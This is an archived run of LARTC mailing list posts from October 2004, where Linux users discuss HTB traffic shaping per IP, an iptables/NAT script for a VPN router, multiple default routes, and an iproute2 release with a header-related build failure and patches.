I have made the experience (which cost me an awful lot of time) that 
assuming the interface woudl produce excactly 100Mbit is a mistake and htb 
does unexpected things. It is probably bets to lower the parent class 
trafic 1: to something about 10% below your actual internet connection, 
even on your internal interface. (Please correct me if I am completely 
wrong!) I used iptraf to have a look on the throughput. 


You would have to do something similar for actual uploads from your 
customers to the internet on eth0, but as you probably nat the traffic I 
am not certain what you would do there! Anyone else?

greetings, 

.peter


From Marcelo Araujo <chelupulus@gmail.com>  Mon Oct 18 13:13:39 2004
From: Marcelo Araujo <chelupulus@gmail.com> (Marcelo Araujo)
Date: Mon, 18 Oct 2004 08:13:39 -0400
Subject: [LARTC] Unknown qdisc "htb", hence option "default" is unparsable
In-Reply-To: <4164AC99.E4FDC9D8@iswest.com>
References: <1775d24d04100608062632017d@mail.gmail.com>
 <4164AC99.E4FDC9D8@iswest.com>
Message-ID: <1775d24d0410180513511056ed@mail.gmail.com>

Thanks a lot to everybody..!!

it's work :)

(i think :-p)

See ya.

Marcelo


On Wed, 06 Oct 2004 19:40:25 -0700, gypsy <gypsy@iswest.com> wrote:
> Marcelo Araujo wrote:
> >
> >
> > This is "tc" in /sbin/
> > -rwxr-xr-x    1 root     root       114716 Nov  3  2003 tc
> > This is "tc" in htb3.6-020525.tgz
> > -rwxrwxr-x    1 root     root       101992 May 12  2002 tc
> >
> > The "tc" from the tarball is small compare to the system, so my question is,
> > can i use the tc from the tarball without any know issue? may i update my
> > kernel? what version are sure to work?
> 
> The tc you got from the tarball has been stripped of the debug info.  It
> is 100% functional and fine.
> 
> Unless you encounter problems, your kernel should be fine too.
> 
> gypsy
>

From lists@peterschen.de  Mon Oct 18 15:28:00 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Mon, 18 Oct 2004 16:28:00 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <Pine.LNX.4.44.0410181350360.24445-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410181350360.24445-100000@george.eliot.priv.at>
Message-ID: <4173D2F0.1080909@peterschen.de>

Hi,

okay, but I think I have some problems understanding the interaction 
between upload and download. How I have to define my traffic classes to 
match upload and download depending on each other?

Greets
Christoph

Peter Huetmannsberger wrote:

>Hi 
>
>like I said, I am new too, so take this with a grain of salt. 
>
>  
>
>>unfortunately there is only one interface for the customers. My problem 
>>is to limit the up AND down speed in dependence to each other.
>>    
>>
>
>Downloads become uploads on your internal interface!
>
>so if eth0 is your external interface a download would be INCOMING on eth0 
>but as it is going on to your internal interface (e.g. eth1) it becomes an 
>upload to your customer. So incoming traffic from the internet to your 
>customers is outgoing on eth1. 
>
>if you do this on eth1: 
>--------------
>#!/bin/bash
>tc qdisc add dev eth1 root handle 1: htb default 20
>tc class add dev eth1 parent 1: classid 1:1 htb rate 90mbit burst 15k
>tc class add dev eth1 parent 1:1 classid 1:10 htb rate 10mbit 
>                                                      prio 0 burst 15k
>tc class add dev eth1 parent 1:1 classid 1:20 htb rate 1mbit ceil 1mbit
>						      burst 6k prio 1
>U32="tc filter add dev eth1 protocol ip parent 1:0 prio 0 u32"
>$U32 match ip dst 192.168.1.19 flowid 1:10
>---------------
>
>Then you have split the traffic into two classes: 
>
>one for the preferred customer, who gets 10Mbit and a default for all the 
>other traffic, which gets 1Mbit. It still leaves a lot of bandwidth 
>unused! (79 Mbit)
>
>I have made the experience (which cost me an awful lot of time) that 
>assuming the interface woudl produce excactly 100Mbit is a mistake and htb 
>does unexpected things. It is probably bets to lower the parent class 
>trafic 1: to something about 10% below your actual internet connection, 
>even on your internal interface. (Please correct me if I am completely 
>wrong!) I used iptraf to have a look on the throughput. 
>
>
>You would have to do something similar for actual uploads from your 
>customers to the internet on eth0, but as you probably nat the traffic I 
>am not certain what you would do there! Anyone else?
>
>greetings, 
>
>.peter
>
>
>
>  
>


From Andreas.Klauer@metamorpher.de  Mon Oct 18 16:09:58 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Mon, 18 Oct 2004 17:09:58 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <4173D2F0.1080909@peterschen.de>
References: <Pine.LNX.4.44.0410181350360.24445-100000@george.eliot.priv.at> <4173D2F0.1080909@peterschen.de>
Message-ID: <200410181709.58689.Andreas.Klauer@metamorpher.de>

Am Monday 18 October 2004 16:28 schrieb Christoph Petersen:
> okay, but I think I have some problems understanding the interaction
> between upload and download. How I have to define my traffic classes to
> match upload and download depending on each other?

That's not easy to do at all. You'd have to use the one and the same class 
to put both up- and download traffic in (both as outgoing traffic on the 
same device). Usually this can't be done. Maybe it's possible with IMQ?

Andreas

From lists@peterschen.de  Mon Oct 18 16:38:11 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Mon, 18 Oct 2004 17:38:11 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <200410181709.58689.Andreas.Klauer@metamorpher.de>
References: <Pine.LNX.4.44.0410181350360.24445-100000@george.eliot.priv.at> <4173D2F0.1080909@peterschen.de> <200410181709.58689.Andreas.Klauer@metamorpher.de>
Message-ID: <4173E363.3080403@peterschen.de>

Hi,

with htb and ingress I was been able to shape the bandwith to fit my 
wishes. But it's the same problem: I couldn't clue download and upload 
together so I was been able to shape upload to 10kbps and download too. 
But when I download some file and upload in the same time I was getting 
10kbps on each line...

Greets
Christoph

Andreas Klauer wrote:

>Am Monday 18 October 2004 16:28 schrieb Christoph Petersen:
>  
>
>>okay, but I think I have some problems understanding the interaction
>>between upload and download. How I have to define my traffic classes to
>>match upload and download depending on each other?
>>    
>>
>
>That's not easy to do at all. You'd have to use the one and the same class 
>to put both up- and download traffic in (both as outgoing traffic on the 
>same device). Usually this can't be done. Maybe it's possible with IMQ?
>
>Andreas
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
>
>  
>


From wingman@waika9.com  Mon Oct 18 17:03:09 2004
From: wingman@waika9.com (EC)
Date: Mon, 18 Oct 2004 18:03:09 +0200
Subject: [LARTC] bandwidth limitation per dynamic IP
Message-ID: <20041018160232.62509C127@postfix3-2.free.fr>

Hi,

Is there a way to do the following with lartc tools :
I would like to limit any entering user to not use more than Xkb/mb to my
website. The IPs they use are changing all the time so static IP limitation
cannot be used. Is there a way doing so ?

EC.


From alexreguart@yahoo.es  Mon Oct 18 17:48:32 2004
From: alexreguart@yahoo.es (=?iso-8859-1?q?=C0lex=20Reguart=20i=20Ferri?=)
Date: Mon, 18 Oct 2004 18:48:32 +0200 (CEST)
Subject: [LARTC] GNU/Linux Router with poptop problem
Message-ID: <20041018164832.40044.qmail@web51506.mail.yahoo.com>

Hello,

I have a problem with my GNU/Linux router. I mean, I
am trying to configure a VPN conection for the clients
of the LAN and allow to connect them to the Internet
trought the router.
I have installed in the server a QoS policy and I have
configured the firewall for allowing all the clients
to connect. I attach the script. The idea is that when
a client connect this pc the dhcp gives him an ip
address, but he can't connect to Internet. When he
connect through the vpn he can access to Internet.
With this script I can allow to visit websites but no
the others protocol (I don't know why).
Someone can help me?

Thank you very much.

Àlex

Good luck!



#Tallafocs per al servidor OSF

#!/bin/bash

#Ens definim les variables per al script...
IPT=/sbin/iptables
LAN="192.168.2.0/24"
LAN_VPN="192.168.0.0/24"
ANY="0.0.0.0/0"
IF_EXT="eth0"
IF_INT="eth1"
IF_VPN="ppp+"
UP_PORTS="1024:65535"
DNS_SERVER="194.224.52.4"

#Eliminem qualsevol resta del tallafocs anterior...

$IPT -t filter -F
$IPT -t nat -F
$IPT -t filter -X
$IPT -t nat -X
$IPT -t filter -Z
$IPT -t nat -Z

#Aquestes seran les nostres polítiques per defecte
$IPT -P INPUT ACCEPT
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT

#Activem el NAT...
$IPT -t nat -A POSTROUTING -s $LAN_VPN -o $IF_EXT -j
MASQUERADE

#Activem el reenviament de paquets en el kernel...
echo 1 > /proc/sys/net/ipv4/ip_forward

#Activem el retorn de paquets, d'aquesta manera sols
haurem d'especificar una regla en el filtrat...
$IPT -I INPUT -m state --state ESTABLISHED,RELATED -j
ACCEPT
$IPT -I OUTPUT -m state --state ESTABLISHED,RELATED -j
ACCEPT
$IPT -I FORWARD -m state --state ESTABLISHED,RELATED
-j ACCEPT

#Permetem que el tallafocs puga treballar localment...
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

#Comencem a filtrar les connexions...

#Permetem al portatil de alex connectar per ssh
$IPT -A INPUT -m state --state NEW -s 192.168.2.16 -j
ACCEPT

#Permetem les consultes al DNS
$IPT -A FORWARD -m state --state NEW -o $IF_EXT -p udp
-s $LAN_VPN -d $DNS_SERVER --dport 53 -j ACCEPT

#Proxy transparent...
$IPT -t nat -A PREROUTING -i ppp+ -s 192.168.0.0/24 -d
! 192.168.0.0/24 -p tcp --dport 80 -j REDIRECT
--to-port 3128

#Permetem la eixida a la web
#$IPT -A FORWARD -m state --state NEW -o $IF_EXT -p
tcp -m multiport --destination-ports 80,443 -j ACCEPT
$IPT -A FORWARD -m state --state NEW -o $IF_EXT -p tcp
-m multiport --destination-ports 443 -j ACCEPT

#Permetem les connexions al ftp
$IPT -A FORWARD -m state --state NEW -p tcp -s
$LAN_VPN --sport $UP_PORTS --dport 20:21 -j ACCEPT
$IPT -A FORWARD -m state --state NEW -p tcp -s
$LAN_VPN --sport $UP_PORTS --dport $UP_PORTS -j ACCEPT

#Deixem passar els ping's a Internet
#$IPT -A FORWARD -m state --state NEW -o $IF_EXT -p
icmp -s $LAN_VPN -j ACCEPT

#Fem NAT amb totes les connexions dels clients (SOLS
EN FASE DE PROVA!!!)
$IPT -A FORWARD -m state --state NEW -o $IF_EXT -p all
-s $LAN_VPN -j ACCEPT



=====
############################################################################
Si voleu enviar-me qualsevol fitxer adjunt, mireu aquesta pàgina abans...
http://www.fsf.org/philosophy/no-word-attachments.es.html
############################################################################
El programari és com el sexe,.... és millor quan és gratuït. "Linus Torvals"
############################################################################
alexreguart@yahoo.es


		
______________________________________________
Renovamos el Correo Yahoo!: ¡100 MB GRATIS!
Nuevos servicios, más seguridad
http://correo.yahoo.es

From wingman@waika9.com  Mon Oct 18 20:49:45 2004
From: wingman@waika9.com (EC)
Date: Mon, 18 Oct 2004 21:49:45 +0200
Subject: [LARTC] DENY LIST ???
Message-ID: <20041018194906.22194C1B5@postfix3-2.free.fr>

Hi,=20

More related to the mailing list than to LARTC, can you explain why each
time I send a mail to the mailing list lartc@mailman.ds9a.nl I get the
following (BTW, my mail is correctly diffused..) :

>>>>>>>>>>>>>>>>>
-----Message d'origine-----
De=A0: Denis Sokolov [mailto:despot@ml.lv]=20
Envoy=E9=A0: lundi 18 octobre 2004 21:40
=C0=A0: EC
Objet=A0: Re: [LARTC] bandwidth limitation per dynamic IP

Hello EC,

YOUR MAIL PLACED IN DENY LIST. STOP MAILING TO ME.

Monday, Monday, October 18, 2004, you wrote something with subject
" ...  (the mail subject...) .......".

Best regards,
 Denis

--=20
Denis Sokolov
<<<<<<<<<<<<<<<<


From vickyr@socal.rr.com  Tue Oct 19 00:03:13 2004
From: vickyr@socal.rr.com (Vicky)
Date: Mon, 18 Oct 2004 16:03:13 -0700
Subject: [LARTC] session based shaping
Message-ID: <41744BB1.5070207@socal.rr.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi there,

Just wondering if anyone on this list has any insight (technical
implementation howto, lesson learned, etc) on session based shaping? Has
anyone implemented this and if so what tools did you use to make this
happen?

Any thoughts will be appreciated.


regards,
/vicky
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBdEuxpbZvCIJx1bcRAn4VAJ9+3eVzQQvV5DAeA2n12N1r1SscKwCdHeb1
010u+KqYTqJntwk+G6RkeTw=
=6FSE
-----END PGP SIGNATURE-----

From alex@samad.com.au  Tue Oct 19 00:31:26 2004
From: alex@samad.com.au (Alexander Samad)
Date: Tue, 19 Oct 2004 09:31:26 +1000
Subject: [LARTC] Multiple default routes
Message-ID: <20041018233126.GW2682@samad.com.au>

--OxYbngvnDUoPDb+a
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

I have been trying to setup multiple defaults routes with equal
weighting I can do it with=20

route add -net default gw 10.18.141.254
route add -net default gw 10.18.141.252
route add -net default gw 10.18.141.253

but if I try this setup with ip r i have to place each one on different
weight levels

oh and its on the same interface

Alex


--OxYbngvnDUoPDb+a
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBdFJOkZz88chpJ2MRApwKAKD95MOI03DRt0jYIf5s7Wu5wyGCnACgtQj0
OekuMFiLl6IX9mXl724vy48=
=BRjZ
-----END PGP SIGNATURE-----

--OxYbngvnDUoPDb+a--

From Ow.Mun.Heng@wdc.com  Tue Oct 19 06:51:48 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Tue, 19 Oct 2004 13:51:48 +0800
Subject: [LARTC] bandwidth limitation per dynamic IP
In-Reply-To: <20041018160232.62509C127@postfix3-2.free.fr>
References: <20041018160232.62509C127@postfix3-2.free.fr>
Message-ID: <1098165108.18732.92.camel@neuromancer.home.net>

On Tue, 2004-10-19 at 00:03, EC wrote:
> Hi,
> 
> Is there a way to do the following with lartc tools :
> I would like to limit any entering user to not use more than Xkb/mb to my
> website. The IPs they use are changing all the time so static IP limitation
> cannot be used. Is there a way doing so ?

You Say "any entering users"

If that case, then make a _general_ rule to throttle traffic from
to/from port 80

From lartc@diab.org  Tue Oct 19 11:54:30 2004
From: lartc@diab.org (diab)
Date: Tue, 19 Oct 2004 12:54:30 +0200
Subject: Re[2]: [LARTC] bandwidth limitation per dynamic IP
In-Reply-To: <1098165108.18732.92.camel@neuromancer.home.net>
References: <20041018160232.62509C127@postfix3-2.free.fr>
 <1098165108.18732.92.camel@neuromancer.home.net>
Message-ID: <1153439658.20041019125430@diab.org>

>> Is there a way to do the following with lartc tools :
>> I would like to limit any entering user to not use more than Xkb/mb to my
>> website. The IPs they use are changing all the time so static IP limitation
>> cannot be used. Is there a way doing so ?

OMH> You Say "any entering users"

OMH> If that case, then make a _general_ rule to throttle traffic from
OMH> to/from port 80

Or use apache to do it for you.. MOD_THROTTLE and MOD_BANDWIDTH is
your friend. I've been using mod_bandwidth successfully for limiting
traffic and it works perfectly.

Documentation here:
http://www.cohprog.com/v3/bandwidth/doc-en.html

MOD_THROTTLE docs here: http://www.snert.com/Software/mod_throttle/

-
diab



From cow@gline.us  Tue Oct 19 12:03:57 2004
From: cow@gline.us (Cow)
Date: Tue, 19 Oct 2004 13:03:57 +0200
Subject: [LARTC] IP based bandwith limit
Message-ID: <002501c4b5cb$5c426460$6e1464ab@palle>

Try this page - might help:

http://omg.wp.gg/wshaper-howto/

Regards
Rune Johannesen


From jame_sj@yahoo.com  Tue Oct 19 14:08:08 2004
From: jame_sj@yahoo.com (james jones)
Date: Tue, 19 Oct 2004 06:08:08 -0700 (PDT)
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <20041018230402.27410.33725.Mailman@outpost.ds9a.nl>
Message-ID: <20041019130808.82046.qmail@web60005.mail.yahoo.com>

Check www.geocities.com/jame_sj

James
> Message: 2
> Date: Mon, 18 Oct 2004 11:17:41 +0200
> From: Christoph Petersen <lists@peterschen.de>
> To: lartc@mailman.ds9a.nl
> Subject: [LARTC] IP based bandwith limit
> 
> Hi,
> 
> i've following problem. One of our gateway router, which connects
> some 
> of our customers should have bandwith limit.
> 
> So customer A with IP XX should have 2 Mbit, customer B with IP YY 
> should have 10 Mbit. There is no need of borrowing bandwith so no 
> fairness needed.
> 
> My simple question: with which technique should I manage this
> shaping? 
> Or is there any existing project which provides this allready?
> 
> Greets
> Christoph
> 
> --__--__--
> 


From lists@peterschen.de  Tue Oct 19 14:42:43 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Tue, 19 Oct 2004 15:42:43 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <20041019130808.82046.qmail@web60005.mail.yahoo.com>
References: <20041019130808.82046.qmail@web60005.mail.yahoo.com>
Message-ID: <417519D3.5070506@peterschen.de>

Hi,

one question - whats the trick behind your marking "flags" (28, 56, ...).

Greets
Christoph

james jones wrote:

>Check www.geocities.com/jame_sj
>
>James
>  
>
>>Message: 2
>>Date: Mon, 18 Oct 2004 11:17:41 +0200
>>From: Christoph Petersen <lists@peterschen.de>
>>To: lartc@mailman.ds9a.nl
>>Subject: [LARTC] IP based bandwith limit
>>
>>Hi,
>>
>>i've following problem. One of our gateway router, which connects
>>some 
>>of our customers should have bandwith limit.
>>
>>So customer A with IP XX should have 2 Mbit, customer B with IP YY 
>>should have 10 Mbit. There is no need of borrowing bandwith so no 
>>fairness needed.
>>
>>My simple question: with which technique should I manage this
>>shaping? 
>>Or is there any existing project which provides this allready?
>>
>>Greets
>>Christoph
>>
>>--__--__--
>>
>>    
>>
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
>
>  
>


From huetmann@site38.ping.at  Tue Oct 19 15:17:23 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Tue, 19 Oct 2004 16:17:23 +0200 (CEST)
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <20041019130808.82046.qmail@web60005.mail.yahoo.com>
Message-ID: <Pine.LNX.4.44.0410191616040.19648-100000@george.eliot.priv.at>


Hi!

This is a nicely organized script, thank you. If I understand it correctly 
it stilmeans that there is a bandwidth of 28k for both upload and download 
though, and not 28k altogether. Or am I wrong?

many thanks, 

.peter




On Tue, 19 Oct 2004, james jones wrote:

> Check www.geocities.com/jame_sj
> 
> James
> > Message: 2
> > Date: Mon, 18 Oct 2004 11:17:41 +0200
> > From: Christoph Petersen <lists@peterschen.de>
> > To: lartc@mailman.ds9a.nl
> > Subject: [LARTC] IP based bandwith limit
> > 
> > Hi,
> > 
> > i've following problem. One of our gateway router, which connects
> > some 
> > of our customers should have bandwith limit.
> > 
> > So customer A with IP XX should have 2 Mbit, customer B with IP YY 
> > should have 10 Mbit. There is no need of borrowing bandwith so no 
> > fairness needed.
> > 
> > My simple question: with which technique should I manage this
> > shaping? 
> > Or is there any existing project which provides this allready?
> > 
> > Greets
> > Christoph
> > 
> > --__--__--
> > 
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From lists@peterschen.de  Tue Oct 19 15:17:44 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Tue, 19 Oct 2004 16:17:44 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <20041019130808.82046.qmail@web60005.mail.yahoo.com>
References: <20041019130808.82046.qmail@web60005.mail.yahoo.com>
Message-ID: <41752208.5060200@peterschen.de>

Hi,

some other question - with this setup there are two interfaces.
Each interface has two classes. So if I take 1:16 example I've
1.5Mbit for upload and other 1.5Mbit for download. But when I upload
with 1.5Mbit how many bandwith there is for download?

Greets
Christoph

james jones wrote:

>Check www.geocities.com/jame_sj
>
>James
>  
>
>>Message: 2
>>Date: Mon, 18 Oct 2004 11:17:41 +0200
>>From: Christoph Petersen <lists@peterschen.de>
>>To: lartc@mailman.ds9a.nl
>>Subject: [LARTC] IP based bandwith limit
>>
>>Hi,
>>
>>i've following problem. One of our gateway router, which connects
>>some 
>>of our customers should have bandwith limit.
>>
>>So customer A with IP XX should have 2 Mbit, customer B with IP YY 
>>should have 10 Mbit. There is no need of borrowing bandwith so no 
>>fairness needed.
>>
>>My simple question: with which technique should I manage this
>>shaping? 
>>Or is there any existing project which provides this allready?
>>
>>Greets
>>Christoph
>>
>>--__--__--
>>
>>    
>>
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
>
>  
>


From shemminger@osdl.org  Tue Oct 19 21:59:00 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Tue, 19 Oct 2004 13:59:00 -0700
Subject: [LARTC] [ANNOUNCE] iproute2 2.6.9-041019
Message-ID: <41758014.4080502@osdl.org>

Now that 2.6.9 is final. Here is an update of the iproute2 utilities 
that contains
all the patches in my queue. 

    * lnstat to replace rtstat and ctstat (from Harald Welte)
    * latest xfrm related changes
    * several small typo's and build fixes for older systems

http://developer.osdl.org/dev/iproute2/download/iproute2-2.6.9-041019.tar.gz

From mslinn@zamples.com  Wed Oct 20 01:08:27 2004
From: mslinn@zamples.com (Michael Slinn)
Date: Tue, 19 Oct 2004 17:08:27 -0700
Subject: Re[2]: [LARTC] bandwidth limitation per dynamic IP
Message-ID: <4175AC7B.6090109@zamples.com>

mod_bandwidth (and all apache mods) only can average many, small 
responses.  They can't effectively throttle traffic for large downloads 
since download speeds are averaged between entire files.  This is why 
I'm looking at lartc.

Mike


From Ow.Mun.Heng@wdc.com  Wed Oct 20 02:45:40 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Wed, 20 Oct 2004 09:45:40 +0800
Subject: [LARTC] bandwidth limitation per dynamic IP
In-Reply-To: <20041019171742.306081734EB@postfix3-1.free.fr>
References: <20041019171742.306081734EB@postfix3-1.free.fr>
Message-ID: <1098236740.15286.6.camel@neuromancer.home.net>

On Wed, 2004-10-20 at 01:17, EC wrote:
> >On Tue, 2004-10-19 at 00:03, EC wrote:
> >> Hi,
> >>
> >> Is there a way to do the following with lartc tools :
> >> I would like to limit any entering user to not use more than Xkb/mb to my
> >> website. The IPs they use are changing all the time so static IP
> >limitation
> >> cannot be used. Is there a way doing so ?
> >
> >You Say "any entering users"
> >
> >If that case, then make a _general_ rule to throttle traffic from
> >to/from port 80
> No.
> There is a general bandwidth limitation for port 80. What I need is limiting
> each user to never use more than Xkb EVEN if there is some bandwidth left
> free.

Wow.. You want to limit based on _per_ user? I'm not sure how that can
be achieved.

What I can think of is to have some sort of logwatcher (syslog-ng)
coupled with swatch (?) and using it to feed into a program that can
dynamically add the IP address into the IPtables FW mark.

But seriously, What you're trying to do, to me, doesn't make much sense.

If user A comes to your site, you give A 10kb/s (out of 50kb/s)
If user B comes then, another 10kb/s is given.

If you have 5 users concurrently then all the 50kb/s is used up.

What happens when user #6 comes in then? U pump out 50kb/s? No such
thing right?

I think the general rule of _how_ much you want to feed out is more
applicable for your needs. (correct me if I'm wrong of more info
please).

Say.. If you limit 50Kb/s for _all_ users, then it will be equally
shared between _all_ users.

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 09:40:50 up 34 min, 9 users, load average: 0.85, 1.19, 1.18 

From laforge@gnumonks.org  Wed Oct 20 08:00:17 2004
From: laforge@gnumonks.org (Harald Welte)
Date: Wed, 20 Oct 2004 09:00:17 +0200
Subject: [LARTC] Re: [ANNOUNCE] iproute2 2.6.9-041019
In-Reply-To: <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
References: <41758014.4080502@osdl.org> <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
Message-ID: <20041020070017.GA19899@sunbeam.de.gnumonks.org>

--+QahgC5+KEYLbs62
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Oct 20, 2004 at 08:21:10AM +0800, Jeff Chua wrote:
>=20
> On Tue, 19 Oct 2004, Stephen Hemminger wrote:
>=20
> >Now that 2.6.9 is final. Here is an update of the iproute2 utilities that
>=20
>=20
> can't compile Got the following error. Linux is 2.6.9. Gcc is 2.95.3.

I'll take care of this. sorry fort he inconvenience.

> Thanks,
> Jeff.

--=20
- Harald Welte <laforge@gnumonks.org>               http://www.gnumonks.org/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Programming is like sex: One mistake and you have to support it your lifeti=
me

--+QahgC5+KEYLbs62
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBdg0BXaXGVTD0i/8RAglWAJ9cCOmYHE7pY2yG8wLtL+BH6Ps+vACaA9s3
nEBgFCfKmTLjtgm+Dk5/X0I=
=Scj1
-----END PGP SIGNATURE-----

--+QahgC5+KEYLbs62--

From laforge@gnumonks.org  Wed Oct 20 10:41:23 2004
From: laforge@gnumonks.org (Harald Welte)
Date: Wed, 20 Oct 2004 11:41:23 +0200
Subject: [LARTC] iproute2 and 2.6.9 kernel headers (was Re: [ANNOUNCE] iproute2 2.6.9-041019)
In-Reply-To: <20041020070017.GA19899@sunbeam.de.gnumonks.org>
References: <41758014.4080502@osdl.org> <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com> <20041020070017.GA19899@sunbeam.de.gnumonks.org>
Message-ID: <20041020094123.GF19899@sunbeam.de.gnumonks.org>

--dWYAkE0V1FpFQHQ3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Oct 20, 2004 at 09:00:17AM +0200, Harald Welte wrote:
> I'll take care of this. sorry fort he inconvenience.

I should actually read mails befor replying ;)  I thought the bug was in
lnstat - but apparently it wasn't.

The include bug seems non-trivial to fix. (how do I hate kernel include
=66rom userspace issues):

apparently __KERNEL_STRICT_NAMES is definde somewhere (glibc?) which
prevents __le16, __le64 and others from being defined in linux/types.h.

Just reietting it like this doesn't help much:


diff -Nru iproute2-2.6.9-041019/ip/iptunnel.c iproute2-2.6.9-laf/ip/iptunne=
l.c
--- iproute2-2.6.9-041019/ip/iptunnel.c	2004-10-19 22:49:02.000000000 +0200
+++ iproute2-2.6.9-laf/ip/iptunnel.c	2004-10-20 11:26:24.489444052 +0200
@@ -26,6 +26,7 @@
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <sys/ioctl.h>
+#undef __KERNEL_STRICT_NAMES
 #include <asm/byteorder.h>
 #include <linux/if.h>
 #include <linux/if_arp.h>

Since now we have conflicting definitions

gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g -I../include -DRESOLVE_H=
OSTNAMES   -c -o iptunnel.o iptunnel.c
In file included from /usr/include/linux/byteorder/big_endian.h:11,
                 from /usr/include/asm/byteorder.h:74,
                 from iptunnel.c:30:
/usr/include/linux/types.h:20: error: conflicting types for `fd_set'
/usr/include/sys/select.h:78: error: previous declaration of `fd_set'
/usr/include/linux/types.h:21: error: conflicting types for `dev_t'
/usr/include/sys/types.h:62: error: previous declaration of `dev_t'
/usr/include/linux/types.h:24: error: conflicting types for `nlink_t'
/usr/include/sys/types.h:77: error: previous declaration of `nlink_t'

I'm done with this, maybe somebody with more clue about kernel include
magic will take on from this.

Additional issue:  the iproute2 makefile didn't stop the build process
in the event of an error.   Stephen, plase consider this patch to fix
it:

diff -Nru iproute2-2.6.9-041019/Makefile iproute2-2.6.9-laf/Makefile
--- iproute2-2.6.9-041019/Makefile	2004-10-19 22:49:02.000000000 +0200
+++ iproute2-2.6.9-laf/Makefile	2004-10-20 11:33:33.223545024 +0200
@@ -29,10 +29,12 @@
=20
 LIBNETLINK=3D../lib/libnetlink.a ../lib/libutil.a
=20
-all: Config
-	@for i in $(SUBDIRS); \
-	do $(MAKE) $(MFLAGS) -C $$i; done
+all: Config $(SUBDIRS)
=20
+.PHONY: $(SUBDIRS)
+$(SUBDIRS):
+	$(MAKE) $(MFLAGS) -C $@;
+=09
 Config:
 	./configure $(KERNEL_INCLUDE)
=20
--=20
- Harald Welte <laforge@gnumonks.org>               http://www.gnumonks.org/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Programming is like sex: One mistake and you have to support it your lifeti=
me

--dWYAkE0V1FpFQHQ3
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBdjLDXaXGVTD0i/8RAkXvAKCKOmfiHlj2IA9ibkC7yeBMxNkctwCgodsT
Hb+mk8qh2WufqP4gX7oLKKY=
=lLyY
-----END PGP SIGNATURE-----

--dWYAkE0V1FpFQHQ3--

From nochoice@xs4all.nl  Wed Oct 20 12:55:37 2004
From: nochoice@xs4all.nl (Jonathan)
Date: Wed, 20 Oct 2004 13:55:37 +0200
Subject: [LARTC] LARTC problems with PRIO qdisc
Message-ID: <1098273336.13159.37.camel@morpheus>

Hi,

I have a router/firewall running Linux (like the most of you) and I
wanted to do some traffic control.

